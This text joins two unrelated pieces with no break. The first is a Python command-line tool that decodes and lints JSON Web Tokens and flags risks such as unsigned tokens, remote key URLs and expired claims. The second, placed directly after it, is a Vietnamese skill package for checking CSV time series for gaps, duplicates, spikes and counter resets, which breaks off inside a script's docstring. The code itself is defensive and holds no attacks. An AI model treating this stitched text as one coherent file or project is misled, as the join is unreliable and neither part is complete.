Decodes a JSON Web Token (JWS compact form: header.payload.signature) WITHOUT trusting it,
prints the header and claims with human-readable times, and flags risky or broken settings.
Optionally verifies HS256/HS384/HS512 signatures when you pass the shared secret.
Usage:
python3 jwt_inspect.py <token> # or "-" to read the token from stdin
python3 jwt_inspect.py <token> --now 2026-10-19T09:00:00Z --leeway 60
python3 jwt_inspect.py <token> --expect-iss https://auth.example.com --expect-aud api://orders
python3 jwt_inspect.py <token> --secret-env JWT_SECRET # verify HS* with a secret from an env var
python3 jwt_inspect.py <token> --max-lifetime 3600 --json
python3 jwt_inspect.py --self-test
Severity: high (token unsafe or unusable), medium (likely bug or weak policy), low (hygiene).
Exit code: 0 no high findings, 1 at least one high finding (or --strict and any finding), 2 bad input.
The signature itself is never printed; only its length and a short SHA-256 fingerprint of the token.
"""
import argparse
import base64
import datetime as dt
import hashlib
import hmac
import json
import os
import re
import sys
HS_ALGS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
MIN_HS_SECRET = {"HS256": 32, "HS384": 48, "HS512": 64}
KNOWN_ALGS = set(HS_ALGS) | {"RS256", "RS384", "RS512", "PS256", "PS384", "PS512",
"ES256", "ES384", "ES512", "EdDSA"}
SENSITIVE = re.compile(r"(pass(word)?|pwd|secret|ssn|social|credit|card|cvv|iban|private|api_?key|refresh_?token)", re.I)
TIME_CLAIMS = ("exp", "nbf", "iat")
class TokenError(ValueError):
pass
def b64url_decode(part, what):
if not re.fullmatch(r"[A-Za-z0-9_-]*", part):
raise TokenError(f"{what} is not base64url (found characters outside A-Z a-z 0-9 - _ or '=' padding)")
try:
return base64.urlsafe_b64decode(part + "=" * (-len(part) % 4))
except (ValueError, TypeError) as e:
raise TokenError(f"{what} could not be base64url-decoded: {e}")
def b64url_encode(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
def decode(token):
token = token.strip()
if token.lower().startswith("bearer "):
token = token[7:].strip()
parts = token.split(".")
if len(parts) == 5:
raise TokenError("5 segments: this is an encrypted JWE, not a signed JWS; it cannot be inspected without the key")
if len(parts) != 3:
raise TokenError(f"expected 3 dot-separated segments, found {len(parts)}")
out = {}
for name, part in (("header", parts[0]), ("payload", parts[1])):
raw = b64url_decode(part, name)
try:
obj = json.loads(raw.decode("utf-8"))
except (UnicodeDecodeError, ValueError):
raise TokenError(f"{name} is not valid UTF-8 JSON")
if not isinstance(obj, dict):
raise TokenError(f"{name} must be a JSON object")
out[name] = obj
out["signature"] = b64url_decode(parts[2], "signature")
out["signing_input"] = (parts[0] + "." + parts[1]).encode("ascii")
out["fingerprint"] = hashlib.sha256(token.encode("utf-8")).hexdigest()[:12]
return out
def parse_now(value):
if value is None:
return int(dt.datetime.now(dt.timezone.utc).timestamp())
if re.fullmatch(r"\d+", value):
return int(value)
t = dt.datetime.fromisoformat(value.replace("Z", "+00:00"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return int(t.timestamp())
def iso(ts):
try:
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
except (OverflowError, OSError, ValueError, TypeError):
return "invalid"
def human_delta(seconds):
s = abs(int(seconds))
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= size:
return f"{s / size:.1f}{unit}"
return f"{s}s"
def verify_hs(tok, secret):
alg = tok["header"].get("alg")
fn = HS_ALGS.get(alg)
if fn is None:
return None
mac = hmac.new(secret.encode("utf-8"), tok["signing_input"], fn).digest()
return hmac.compare_digest(mac, tok["signature"])
def inspect(token, now=None, leeway=0, expect_iss=None, expect_aud=None, max_lifetime=86400, secret=None):
tok = decode(token)
h, p = tok["header"], tok["payload"]
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
alg = h.get("alg")
if alg is None:
add("high", "alg_missing", "header has no 'alg'; libraries may reject it or guess")
elif str(alg).lower() == "none":
add("high", "alg_none", "alg is 'none': the token is unsigned and anyone can forge it")
if tok["signature"]:
add("medium", "none_with_signature", "alg 'none' but a signature segment is present")
elif alg not in KNOWN_ALGS:
add("medium", "alg_unknown", f"unusual alg '{alg}'")
if alg and str(alg).lower() != "none" and not tok["signature"]:
add("high", "signature_empty", "signature segment is empty although alg requires one")
for key in ("jku", "x5u"):
if key in h:
add("high", f"header_{key}", f"header '{key}' points to a remote key URL ({h[key]}); never fetch keys from a URL inside the token")
if "jwk" in h:
add("high", "header_jwk", "header embeds its own 'jwk'; a verifier that trusts it accepts attacker keys")
if "crit" in h:
add("medium", "header_crit", f"'crit' lists extensions {h['crit']}; verifiers must understand them or reject the token")
if alg in KNOWN_ALGS and alg not in HS_ALGS and "kid" not in h:
add("low", "kid_missing", "asymmetric alg without 'kid'; key rotation will be painful")
now = parse_now(now) if not isinstance(now, int) else now
times = {}
for c in TIME_CLAIMS:
if c in p:
v = p[c]
if isinstance(v, bool) or not isinstance(v, (int, float)):
add("high", f"{c}_not_numeric", f"'{c}' must be NumericDate seconds, got {v!r}")
elif v > 10**11:
add("high", f"{c}_milliseconds", f"'{c}'={v} looks like milliseconds; JWT uses seconds")
else:
times[c] = int(v)
if "exp" not in p:
add("medium", "exp_missing", "no 'exp': the token never expires")
elif "exp" in times and times["exp"] + leeway < now:
add("high", "expired", f"expired at {iso(times['exp'])} ({human_delta(now - times['exp'])} ago)")
if "nbf" in times and times["nbf"] - leeway > now:
add("high", "not_yet_valid", f"not valid before {iso(times['nbf'])} ({human_delta(times['nbf'] - now)} from now)")
if "iat" in times and times["iat"] - leeway > now:
add("medium", "iat_future", f"issued in the future ({iso(times['iat'])}); check clock skew")
if "exp" in times and "iat" in times:
life = times["exp"] - times["iat"]
if life <= 0:
add("high", "exp_before_iat", "exp is not after iat")
elif max_lifetime and life > max_lifetime:
add("medium", "lifetime_long", f"lifetime {human_delta(life)} exceeds policy {human_delta(max_lifetime)}")
if "iss" not in p:
add("low", "iss_missing", "no 'iss'; verifiers cannot pin the issuer")
elif expect_iss and p["iss"] != expect_iss:
add("high", "iss_mismatch", f"iss '{p['iss']}' != expected '{expect_iss}'")
aud = p.get("aud")
auds = aud if isinstance(aud, list) else ([aud] if aud is not None else [])
if aud is None and expect_aud:
add("high", "aud_mismatch", f"no 'aud' claim but '{expect_aud}' is required")
elif aud is None:
add("low", "aud_missing", "no 'aud'; the token could be replayed against another service")
elif expect_aud and expect_aud not in auds:
add("high", "aud_mismatch", f"aud {auds} does not contain expected '{expect_aud}'")
if "sub" not in p:
add("low", "sub_missing", "no 'sub'; who is this token about?")
for k in p:
if SENSITIVE.search(k):
add("medium", "sensitive_claim", f"claim '{k}' looks sensitive; JWT payloads are only encoded, not encrypted")
verified = None
if secret is not None:
if alg not in HS_ALGS:
add("low", "verify_skipped", f"--secret only verifies HS256/384/512; alg is {alg}")
else:
verified = verify_hs(tok, secret)
if not verified:
add("high", "bad_signature", "HMAC signature does NOT match the given secret")
if len(secret.encode("utf-8")) < MIN_HS_SECRET[alg]:
add("medium", "weak_secret", f"{alg} secret is {len(secret.encode('utf-8'))} bytes; use at least {MIN_HS_SECRET[alg]} random bytes")
order = {"high": 0, "medium": 1, "low": 2}
findings.sort(key=lambda f: (order[f["severity"]], f["code"]))
return {
"fingerprint": tok["fingerprint"],
"header": h,
"payload": p,
"times": {c: iso(v) for c, v in times.items()},
"now": iso(now),
"signature_bytes": len(tok["signature"]),
"signature_verified": verified,
"findings": findings,
}
def to_markdown(r):
lines = [f"# JWT inspection (sha256 {r['fingerprint']})", "",
f"Checked at {r['now']}. Signature: {r['signature_bytes']} bytes"
+ ("" if r["signature_verified"] is None else (", verified OK" if r["signature_verified"] else ", NOT verified")), "",
"## Header", "```json", json.dumps(r["header"], indent=2, ensure_ascii=False), "```", "",
"## Claims", "```json", json.dumps(r["payload"], indent=2, ensure_ascii=False), "```", ""]
if r["times"]:
lines += ["| Claim | UTC |", "|---|---|"] + [f"| {k} | {v} |" for k, v in r["times"].items()] + [""]
lines += ["## Findings"]
if not r["findings"]:
lines.append("No findings.")
else:
lines += ["| Severity | Code | Detail |", "|---|---|---|"]
lines += [f"| {f['severity']} | {f['code']} | {f['message']} |" for f in r["findings"]]
return "\n".join(lines)
def make_token(header, payload, secret=None, signature=b""):
si = b64url_encode(json.dumps(header, separators=(",", ":")).encode()) + "." + \
b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
if secret is not None:
signature = hmac.new(secret.encode(), si.encode(), HS_ALGS[header["alg"]]).digest()
return si + "." + b64url_encode(signature)
def self_test():
now = 1760860800 # 2025-10-19T08:00:00Z
strong = "k" * 40
good_claims = {"iss": "https://auth.example.com", "sub": "user-42", "aud": "api://orders",
"iat": now - 60, "exp": now + 840}
good = make_token({"alg": "HS256", "typ": "JWT"}, good_claims, strong)
codes = lambda r: {f["code"] for f in r["findings"]}
cases = []
def check(name, cond):
cases.append((name, bool(cond)))
r = inspect(good, now=now, secret=strong, expect_iss="https://auth.example.com", expect_aud="api://orders")
check("clean token has no findings", r["findings"] == [])
check("clean token signature verified", r["signature_verified"] is True)
check("bearer prefix accepted", inspect("Bearer " + good, now=now)["payload"]["sub"] == "user-42")
check("wrong secret flagged", "bad_signature" in codes(inspect(good, now=now, secret="x" * 40)))
check("weak secret flagged", "weak_secret" in codes(inspect(make_token({"alg": "HS256"}, good_claims, "short"), now=now, secret="short")))
check("alg none flagged high", "alg_none" in codes(inspect(make_token({"alg": "none"}, good_claims), now=now)))
check("expired flagged", "expired" in codes(inspect(good, now=now + 3600)))
check("leeway tolerates small skew", "expired" not in codes(inspect(good, now=now + 850, leeway=30)))
check("nbf in future flagged", "not_yet_valid" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, nbf=now + 600), strong), now=now)))
check("exp missing flagged", "exp_missing" in codes(inspect(make_token({"alg": "HS256"}, {"sub": "a", "iat": now}, strong), now=now)))
check("milliseconds exp flagged", "exp_milliseconds" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=(now + 600) * 1000), strong), now=now)))
check("long lifetime flagged", "lifetime_long" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=now + 30 * 86400), strong), now=now)))
check("iss mismatch flagged", "iss_mismatch" in codes(inspect(good, now=now, expect_iss="https://evil.example")))
check("aud list accepted", "aud_mismatch" not in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, aud=["a", "api://orders"]), strong), now=now, expect_aud="api://orders")))
check("aud mismatch flagged", "aud_mismatch" in codes(inspect(good, now=now, expect_aud="api://billing")))
check("missing aud with expected aud is high", "aud_mismatch" in codes(inspect(make_token({"alg": "HS256"}, {k: v for k, v in good_claims.items() if k != "aud"}, strong), now=now, expect_aud="api://orders")))
check("jku header flagged", "header_jku" in codes(inspect(make_token({"alg": "RS256", "kid": "1", "jku": "https://x/keys"}, good_claims, signature=b"sig"), now=now)))
check("rs256 without kid is low", "kid_missing" in codes(inspect(make_token({"alg": "RS256"}, good_claims, signature=b"sig"), now=now)))
check("sensitive claim flagged", "sensitive_claim" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, password="hunter2"), strong), now=now)))
check("empty signature flagged", "signature_empty" in codes(inspect(make_token({"alg": "HS256"}, good_claims), now=now)))
for bad, label in (("abc.def", "two segments rejected"), ("a.b.c.d.e", "JWE rejected"), ("!!.e30.", "bad base64 rejected")):
try:
inspect(bad, now=now)
check(label, False)
except TokenError:
check(label, True)
check("markdown never prints signature", make_token({"alg": "HS256"}, good_claims, strong).split(".")[2] not in to_markdown(r))
passed = sum(ok for _, ok in cases)
for name, ok in cases:
print(("PASS " if ok else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Decode and lint a JWT without trusting it.")
ap.add_argument("token", nargs="?", help="JWT string, or '-' to read from stdin")
ap.add_argument("--now", help="reference time: ISO 8601 (Z or offset) or epoch seconds; default: current UTC time")
ap.add_argument("--leeway", type=int, default=0, help="allowed clock skew in seconds (default 0)")
ap.add_argument("--expect-iss")
ap.add_argument("--expect-aud")
ap.add_argument("--max-lifetime", type=int, default=86400, help="max exp-iat seconds before warning (0 = off)")
ap.add_argument("--secret-env", help="name of an environment variable holding the HS* secret (avoids shell history)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.token:
ap.error("token required (or --self-test)")
token = sys.stdin.read() if a.token == "-" else a.token
secret = None
if a.secret_env:
secret = os.environ.get(a.secret_env)
if secret is None:
print(f"error: environment variable {a.secret_env} is not set", file=sys.stderr)
return 2
try:
r = inspect(token, now=a.now, leeway=a.leeway, expect_iss=a.expect_iss, expect_aud=a.expect_aud,
max_lifetime=a.max_lifetime, secret=secret)
except (TokenError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
if any(f["severity"] == "high" for f in r["findings"]) or (a.strict and r["findings"]):
return 1
return 0
if __name__ == "__main__":
sys.exit(main())Kiểm tra dữ liệu chuỗi thời gian dạng CSV (số liệu đo lường, chỉ số cảm biến, doanh số theo giờ) để phát hiện các vấn đề dữ liệu trước khi vẽ biểu đồ hoặc thiết lập cảnh báo: thiếu khoảng thời gian, dấu thời gian (timestamp) bị trùng lặp hoặc sai thứ tự, giá trị trống, đường đi ngang (flatlines) do trình xuất dữ liệu bị treo, các điểm đột biến (spikes) phát hiện qua trung vị/MAD bền vững và hiện tượng đặt lại bộ đếm (counter resets). Sử dụng khi bảng điều khiển (dashboard) có dấu hiệu bất thường, trước khi huấn luyện mô hình dự báo hoặc khi cần trả lời câu hỏi "dữ liệu này đã đầy đủ chưa?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
name: time-series-gap-anomaly-checker
description: Kiểm tra dữ liệu chuỗi thời gian dạng CSV (số liệu đo lường, chỉ số cảm biến, doanh số theo giờ) để phát hiện các vấn đề dữ liệu trước khi vẽ biểu đồ hoặc thiết lập cảnh báo: thiếu khoảng thời gian, dấu thời gian (timestamp) bị trùng lặp hoặc sai thứ tự, giá trị trống, đường đi ngang (flatlines) do trình xuất dữ liệu bị treo, các điểm đột biến (spikes) phát hiện qua trung vị/MAD bền vững và hiện tượng đặt lại bộ đếm (counter resets). Sử dụng khi bảng điều khiển (dashboard) có dấu hiệu bất thường, trước khi huấn luyện mô hình dự báo hoặc khi cần trả lời câu hỏi "dữ liệu này đã đầy đủ chưa?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
# Công cụ Kiểm tra Khoảng trống và Điểm bất thường trong Chuỗi thời gian
Bạn giúp các chuyên viên phân tích, kỹ sư SRE và kỹ sư dữ liệu quyết định xem một chuỗi thời gian có đáng tin cậy hay không. Bạn tìm ra những vị trí dữ liệu bị thiếu, lặp lại, bị treo cứng hoặc đáng ngờ, giải thích nguyên nhân khả dĩ của từng vấn đề, đồng thời tách biệt các sự cố thu thập dữ liệu (trên đường ống pipeline) khỏi các sự kiện thực tế (trên hệ thống đang được đo lường). Bạn không bao giờ âm thầm tự lấp đầy các khoảng trống hoặc xóa bỏ các điểm ngoại lai (outliers); bạn đề xuất phương án xử lý và nêu rõ phương án đó làm thay đổi điều gì.
## Các tệp trong kỹ năng này
- `scripts/ts_check.py` - đọc tệp CSV, suy luận khoảng thời gian lấy mẫu (sampling interval) và báo cáo các khoảng trống, dữ liệu trùng lặp, các dòng sai thứ tự, giá trị bị thiếu, đường đi ngang (flatlines), điểm đột biến (spikes) và hiện tượng đặt lại bộ đếm dưới dạng markdown hoặc JSON (chỉ sử dụng thư viện chuẩn Python 3)
- `references/anomaly-methods.md` - cách thức hoạt động của các phép kiểm tra, cách tinh chỉnh ngưỡng (thresholds) và những trường hợp mỗi phương pháp không phát huy tác dụng
- `references/gap-handling-playbook.md` - cách xử lý cho từng loại vấn đề: điền giá trị (fill), nội suy (interpolate), loại bỏ (drop) hoặc ghi chú (annotate)
- `templates/data-quality-report.md` - mẫu báo cáo phục vụ việc sửa lỗi dashboard, đánh giá sự cố hoặc bàn giao bộ dữ liệu
- `examples/api-metrics.csv` - dữ liệu số liệu API mỗi 5 phút trong suốt ba giờ, bao gồm một đợt gián đoạn thu thập dữ liệu, một dòng trùng lặp, một giá trị bị treo, một điểm đột biến độ trễ và một lần đặt lại bộ đếm
## Quy trình thực hiện
### 1. Tìm hiểu chuỗi dữ liệu
Hỏi xem mỗi cột đo lường đại lượng gì, đơn vị tính, khoảng thời gian lấy mẫu kỳ vọng là bao nhiêu, và liệu có cột nào là bộ đếm đơn điệu (monotonic counter) hay không (ví dụ: requests_total, bytes_sent). Hỏi xem các dấu thời gian không kèm múi giờ (naive timestamps) đang sử dụng múi giờ nào; kịch bản mặc định coi chúng là giờ UTC.
### 2. Chạy công cụ kiểm tra
```
python3 scripts/ts_check.py examples/api-metrics.csv --counter requests_total
python3 scripts/ts_check.py data.csv --time-col ts --cols temp_c,humidity --interval 10m
python3 scripts/ts_check.py data.csv --z 5 --window 12 --flatline-points 12 --json > report.json
python3 scripts/ts_check.py --self-test
```
Dấu thời gian có thể ở định dạng ISO 8601 hoặc thời gian Unix epoch tính bằng giây hoặc mili-giây. Trả về mã thoát (exit code) là 1 khi phát hiện bất kỳ vấn đề nào, và 2 khi đầu vào không hợp lệ, nhờ đó có thể dùng làm cổng kiểm soát (gate) trong đường ống dữ liệu.
### 3. Đọc kết quả
- **Độ đầy đủ (Completeness)** = số dòng hiện có / số dòng kỳ vọng trên toàn dải thời gian. Mức dưới 95% thường đồng nghĩa với việc các con số tổng hợp và trung bình đã bị sai lệch.
- **gap**: khoảng cách giữa các điểm vượt quá 1.5 lần khoảng lấy mẫu. Các khoảng trống dài xuất hiện vào những khung giờ cố định thường là do quá trình triển khai (deploy) hoặc tác vụ định kỳ (cron job); một khoảng trống dài đơn lẻ thường do bộ thu thập dữ liệu (collector) bị ngừng hoạt động.
- **duplicate / out_of_order**: thu thập dữ liệu bị đúp, cơ chế thử lại (retries) hoặc do gộp nhiều tệp với nhau.
- **flatline**: cùng một giá trị lặp đi lặp lại; đây là điều bình thường đối với tín hiệu bật/tắt (on/off), nhưng lại rất đáng ngờ đối với các phép đo vốn có độ nhiễu tự nhiên.
- **spike**: điểm z-score bền vững (robust z-score) so với trung vị trượt (rolling median). Hãy kiểm tra xem các cột lân cận có tăng đột biến cùng lúc hay không (nếu có thì là sự kiện thực tế, nếu không thì là lỗi nhiễu dữ liệu).
- **reset**: bộ đếm bị sụt giảm giá trị, thường do tiến trình khởi động lại; các phép tính tốc độ thay đổi (rate) bắt buộc phải xử lý trường hợp này.
### 4. Đề xuất phương án xử lý
Sử dụng `references/gap-handling-playbook.md`. Tinh chỉnh các ngưỡng bằng `references/anomaly-methods.md` nếu dữ liệu có tính mùa vụ, biến động theo từng đợt (bursty) hoặc rất thưa thớt.
### 5. Báo cáo
Điền vào mẫu `templates/data-quality-report.md` với các con số tóm tắt, những vấn đề hàng đầu kèm theo thời gian theo múi giờ của người dùng, nguyên nhân nghi ngờ và phương án xử lý đã thống nhất.
## Quy tắc
- Chỉ báo cáo các vấn đề; không tự ý sửa đổi dữ liệu nguồn. Ghi dữ liệu đã làm sạch ra một tệp mới và ghi lại tài liệu cho mọi thay đổi đã thực hiện.
- Không kết luận một điểm đột biến (spike) là sự cố hệ thống nếu chưa có bằng chứng củng cố (từ các số liệu khác, nhật ký hệ thống hoặc xác nhận của con người).
- Nêu rõ khoảng lấy mẫu và các ngưỡng bạn đã sử dụng để kết quả có thể tái lập lại được.
- Chuyển đổi giờ UTC sang múi giờ của người dùng khi trình bày kết quả.
FILE:references/anomaly-methods.md
# Phương pháp Phát hiện Bất thường và Tinh chỉnh Tham số
## Suy luận khoảng thời gian lấy mẫu
Khoảng thời gian lấy mẫu kỳ vọng là trung vị của khoảng cách giữa các dấu thời gian duy nhất đã được sắp xếp tăng dần. Cách tính này vẫn chính xác ngay cả khi có một vài khoảng trống và độ trễ dao động nhỏ (jitter). Hãy truyền tham số `--interval` khi chuỗi dữ liệu phần lớn là khoảng trống (dữ liệu sự kiện thưa thớt) hoặc khi bạn đã biết chắc chắn chu kỳ thu thập dữ liệu.
Khoảng trống (gap) là bất kỳ khoảng cách nào lớn hơn 1.5 lần khoảng lấy mẫu; vì vậy với dữ liệu 5 phút một lần, khoảng cách 7 phút không bị coi là khoảng trống nhưng khoảng cách 10 phút thì được tính là một khoảng trống (thiếu 1 điểm dữ liệu).
## Phát hiện điểm đột biến bền vững (trung vị trượt + MAD)
Đối với mỗi điểm, lấy tối đa `--window` điểm lân cận ở mỗi bên (không tính chính điểm đang xét), tính trung vị (median) và độ lệch tuyệt đối trung vị (MAD - median absolute deviation) của chúng. Điểm z-score bền vững được tính theo công thức:
z = |value - median| / (1.4826 * MAD)
Hệ số 1.4826 giúp quy đổi MAD tương đương với độ lệch chuẩn đối với dữ liệu phân phối chuẩn. Ngưỡng mặc định bằng 4 tương ứng với xác suất khoảng 1 trên 15.000 đối với nhiễu phân phối chuẩn. Khi có hơn một nửa số điểm lân cận mang giá trị giống hệt nhau (MAD = 0), độ lệch tuyệt đối trung bình (mean absolute deviation) sẽ được sử dụng thay thế, và nếu toàn bộ vùng lân cận hoàn toàn phẳng thì lấy bằng 1% mức giá trị đó.
Tại sao không dùng giá trị trung bình (mean) và độ lệch chuẩn (standard deviation)? Chỉ cần một điểm đột biến lớn cũng đủ làm phình đại độ lệch chuẩn và khiến chính điểm đột biến đó bị che khuất. Ngược lại, trung vị và MAD hoàn toàn miễn nhiễm với hiện tượng này.
## Tinh chỉnh tham số
| Loại dữ liệu | Gợi ý cấu hình |
|---|---|
| Số liệu nhiều nhiễu (độ trễ, CPU) | `--z 5`, `--window 12` |
| Có tính mùa vụ theo ngày hoặc tuần | Kiểm tra từng chu kỳ mùa vụ một, hoặc so sánh với cùng khung giờ tuần trước trước khi tin vào các điểm đột biến |
| Dữ liệu kinh doanh tăng vọt theo đợt (đơn hàng) | Tăng `--z` cao hơn (6-8); các điểm vọt lên thường là sự kiện thật |
| Giá trị số nguyên hoặc độ phân giải thấp | Thường gặp MAD = 0; hãy tăng `--z` hoặc tổng hợp (aggregate) dữ liệu trước |
| Tín hiệu bật/tắt hoặc trạng thái | Bỏ qua cảnh báo flatline; chỉ kiểm tra các khoảng trống (gaps) |
| Bộ đếm (Counters) | Luôn truyền cờ `--counter`; kiểm tra tốc độ biến thiên (rates) sau khi đã xử lý các điểm reset |
## Các giới hạn đã biết
- Sự trượt giá trị từ từ (gradual drifts) và sự dịch chuyển nền giá trị (level shifts) không phải là điểm đột biến ngắn hạn; hãy vẽ biểu đồ chuỗi dữ liệu hoặc so sánh trung vị giữa các tuần.
- Một vài điểm đầu tiên và cuối cùng có ít điểm lân cận hơn, do đó điểm số của chúng kém tin cậy hơn.
- Các luồng sự kiện không đều đặn (lượt đăng nhập, lượt mua hàng) không có khoảng lấy mẫu cố định; hãy gom nhóm (aggregate) chúng vào các khung thời gian (buckets) trước.
FILE:references/gap-handling-playbook.md
# Cẩm nang Xử lý Khoảng trống và Điểm bất thường
| Vấn đề | Nguyên nhân khả dĩ | Phương án xử lý mặc định | Điều cần tránh |
|---|---|---|---|
| Khoảng trống ngắn (1-2 điểm) | quá thời gian thu thập (scrape timeout), chập chờn mạng thoáng qua | Nội suy tuyến tính cho các tín hiệu mượt; giữ nguyên giá trị null đối với số đếm | Điền số 0 vào các cột số đếm |
| Khoảng trống dài | trình thu thập ngừng chạy, đang triển khai hệ thống, máy chủ tắt | Giữ nguyên null và ghi chú lên biểu đồ; loại trừ khỏi phép tính SLO hoặc tính là trạng thái chưa xác định (unknown) | Nội suy bắc cầu qua nhiều giờ liền |
| Dấu thời gian trùng lặp | thu thập đúp, chạy lại lô dữ liệu (retried batch), gộp nhiều tệp | Giữ lại một dòng duy nhất (dòng đầu tiên hoặc dòng có nhiều trường dữ liệu nhất); kiểm tra xem các giá trị có khác nhau không | Cộng gộp các dòng trùng lặp |
| Dòng dữ liệu sai thứ tự thời gian | dữ liệu đến muộn, nối ghép các tệp | Sắp xếp lại theo thời gian trước khi thực hiện bất kỳ phép tính trượt (windowed calculation) nào | Mặc định thứ tự dòng trong tệp là thứ tự thời gian |
| Giá trị bị thiếu (Missing values) | cảm biến mất tín hiệu tạm thời, lỗi phân tích cú pháp, chuỗi "N/A" | Sửa lỗi bộ phân tích cú pháp (parser) trước; sau đó xử lý như một khoảng trống | Coi ô trống là giá trị 0 |
| Đường đi ngang (Flatline) | trình xuất dữ liệu bị treo, giá trị lấy từ bộ nhớ đệm, cảm biến bị đơ | Xác nhận chéo với nguồn dữ liệu thứ hai; đánh dấu là đáng ngờ | Tin tưởng dữ liệu này để kích hoạt cảnh báo |
| Điểm đột biến (Spike đơn lẻ) | lỗi nhiễu thoáng qua, sai đơn vị đo, đợt tăng tải thực tế | Kiểm tra các cột liên quan và nhật ký hệ thống; chỉ giới hạn trần (cap) hoặc loại bỏ khi có lý do được ghi chép rõ ràng | Xóa bỏ mà không để lại ghi chú |
| Đặt lại bộ đếm (Counter reset) | tiến trình khởi động lại, tràn bộ đếm (overflow) | Tính tốc độ (rate) theo từng phân đoạn (tốc độ sau khi reset = giá trị mới / khoảng thời gian) | Để xuất hiện tốc độ âm |
## Trước khi xây dựng mô hình hoặc dự báo
1. Sắp xếp, khử trùng lặp và chuẩn hóa về đúng khoảng thời gian lấy mẫu kỳ vọng (chèn giá trị null vào các vị trí bị khuyết).
2. Quyết định chính sách xử lý khoảng trống cho từng cột và ghi nhận lại.
3. Duy trì thêm một cột đánh dấu mặt nạ (`is_imputed`) để mô hình và người đọc biết những vị trí nào đã được điền dữ liệu nhân tạo.
4. Chạy lại công cụ kiểm tra trên tệp đã làm sạch và đính kèm cả hai bản báo cáo.
## Khi nào cần báo cáo nâng cấp độ ưu tiên (Escalate)
- Độ đầy đủ (Completeness) dưới 90% đối với một chỉ số được dùng để tính SLO hoặc lập hóa đơn thanh toán.
- Các khoảng trống lặp đi lặp lại vào cùng một thời điểm mỗi ngày (có một tác vụ ngầm nào đó đang làm sập bộ thu thập dữ liệu).
- Các điểm đột biến xuất hiện đồng loạt trên tất cả các máy chủ cùng một lúc (đây là sự cố hệ thống thực sự, không phải lỗi dữ liệu).
FILE:templates/data-quality-report.md
# Chất lượng Dữ liệu Chuỗi thời gian - <tên bộ dữ liệu hoặc dashboard>
**Nguồn:** <tệp / truy vấn> **Phạm vi:** <bắt đầu> đến <kết thúc> (<múi giờ>) **Khoảng lấy mẫu:** <kỳ vọng>
**Số dòng:** <n> **Độ đầy đủ:** <phần trăm> **Ngưỡng áp dụng:** z=<z>, window=<w>, flatline=<n>
## Tóm tắt
<hai câu: dữ liệu này có đáng tin cậy cho mục đích sử dụng dự kiến hay không, và điều gì cần phải thay đổi trước tiên>
## Các vấn đề phát hiện
| Loại vấn đề | Thời điểm (<múi giờ>) | Cột | Chi tiết | Nguyên nhân nghi ngờ | Phương án xử lý |
|---|---|---|---|---|---|
| | | | | | |
## Các quyết định xử lý
- Chính sách xử lý khoảng trống: <nội suy các khoảng trống ngắn / giữ nguyên null / loại trừ>
- Chính sách xử lý điểm ngoại lai: <giữ nguyên / giới hạn trần / loại bỏ kèm ghi chú>
- Xử lý bộ đếm: <tính tốc độ theo phân đoạn tại các điểm reset>
## Công việc tiếp theo
- [ ] <sửa bộ thu thập dữ liệu / bộ phân tích cú pháp / cảnh báo> - người phụ trách <tên> - hạn hoàn thành <ngày>
Được tạo bằng scripts/ts_check.py. Dữ liệu nguồn không bị sửa đổi.
FILE:examples/api-metrics.csv
timestamp,p95_latency_ms,error_rate,requests_total
2026-10-18T22:00:00Z,182,0.4,1200
2026-10-18T22:05:00Z,176,0.3,2435
2026-10-18T22:10:00Z,190,0.5,3705
2026-10-18T22:15:00Z,185,0.4,5010
2026-10-18T22:20:00Z,179,0.3,6210
2026-10-18T22:25:00Z,188,0.4,7445
2026-10-18T22:30:00Z,181,0.5,8715
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:40:00Z,177,0.3,11220
2026-10-18T22:45:00Z,184,0.4,12455
2026-10-18T22:50:00Z,186,0.4,13725
2026-10-18T22:55:00Z,180,0.4,15030
2026-10-18T23:00:00Z,191,0.4,16230
2026-10-18T23:05:00Z,,0.4,17465
2026-10-18T23:10:00Z,178,0.4,18735
2026-10-18T23:15:00Z,187,0.4,20040
2026-10-18T23:20:00Z,182,0.4,21240
2026-10-18T23:25:00Z,189,0.4,22475
2026-10-18T23:30:00Z,612,2.1,23745
2026-10-18T23:35:00Z,185,0.5,25050
2026-10-18T23:40:00Z,180,0.3,26250
2026-10-18T23:45:00Z,184,0.4,27485
2026-10-19T00:10:00Z,188,0.5,28755
2026-10-19T00:15:00Z,183,0.4,30060
2026-10-19T00:20:00Z,177,0.3,31260
2026-10-19T00:25:00Z,185,0.4,32495
2026-10-19T00:30:00Z,182,0.5,1180
2026-10-19T00:35:00Z,189,0.4,2485
2026-10-19T00:40:00Z,184,0.3,3685
2026-10-19T00:45:00Z,180,0.4,4920
2026-10-19T00:50:00Z,186,0.5,6190
2026-10-19T00:55:00Z,183,0.4,7495
FILE:scripts/ts_check.py
#!/usr/bin/env python3
"""Time series gap and anomaly checker for CSV metrics (Python 3 standard library only).
Reads a CSV with a timestamp column and one or more numeric columns, infers the sampling
interval (median spacing) unless --interval is given, and reports:
gap missing samples (spacing > 1.5 x interval), with how many points are missing
duplicate repeated timestamps
